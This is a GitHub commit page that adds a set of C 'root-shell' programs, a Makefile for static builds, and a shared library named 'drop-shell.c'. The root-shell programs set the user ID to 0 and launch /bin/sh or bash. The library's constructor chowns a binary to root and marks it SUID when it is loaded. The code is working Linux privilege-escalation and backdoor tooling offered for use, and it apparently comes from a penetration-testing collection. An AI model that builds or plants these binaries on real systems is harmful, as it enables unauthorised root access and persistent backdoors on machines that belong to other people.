Skip to content

Commit

Permalink
Add example c root-shells
Browse files Browse the repository at this point in the history
  • Loading branch information
g0tmi1k committed Nov 24, 2021
1 parent 7a0c657 commit 9eca573
Show file tree
Hide file tree
Showing 6 changed files with 77 additions and 0 deletions.
21 changes: 21 additions & 0 deletions Miscellaneous/source-code/c-linux/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
# Using x64? $ sudo apt instlal -y libc6-dev-i386

all: x64 x86

create:
mkdir -p bin/

x64: create
gcc -m64 -static -o bin/root-shellx64 root-shell.c

x86: create
gcc -m32 -static -o bin/root-shellx86 root-shell.c

strip:
strip bin/*

result:
file bin/*

clean:
rm -rf bin/
16 changes: 16 additions & 0 deletions Miscellaneous/source-code/c-linux/drop-shell.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
// gcc -fPIC -shared -o drop-shell drop-shell.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

// https://gcc.gnu.org/onlinedocs/gcc-4.7.0/gcc/Function-Attributes.html
__attribute__((__constructor__))

void dropshell(void) {
// Set root user to be owner, and SUID permission
chown("./root-shell", 0, 0);
chmod("./root-shell", 04755);

// Feedback
printf("[+] Done!\n");
}
12 changes: 12 additions & 0 deletions Miscellaneous/source-code/c-linux/root-shell.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
// $ gcc -static -o root-shell root-shell.c
// $ chmod u+s root-shell

#include <unistd.h>
#include <stdlib.h>

int main(void) {
setuid(0);
setgid(0);
system("/bin/sh");
return 0;
}
10 changes: 10 additions & 0 deletions Miscellaneous/source-code/c-linux/root-shell2.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
// $ gcc -o root-shell2 root-shell2.c

#include <unistd.h>

int main()
{
setuid(0);
execl("/bin/bash", "bash", (char *)NULL);
return 0;
}
16 changes: 16 additions & 0 deletions Miscellaneous/source-code/c-linux/root-shell3.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
// $ gcc -static -o root-shell3 root-shell3.c
// $ chmod u+s root-shell3

#include <unistd.h>
#include <stdlib.h>

int main(void) {
setuid(0);
setgid(0);
seteuid(0);
setegid(0);

execvp("/bin/sh", NULL, NULL);

return 0;
}
2 changes: 2 additions & 0 deletions Miscellaneous/source-code/c-linux/tiny-shell.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
// $ gcc tiny-shell.c
int main(void){setresuid(0, 0, 0);system("/bin/sh");}

0 comments on commit 9eca573

Please sign in to comment.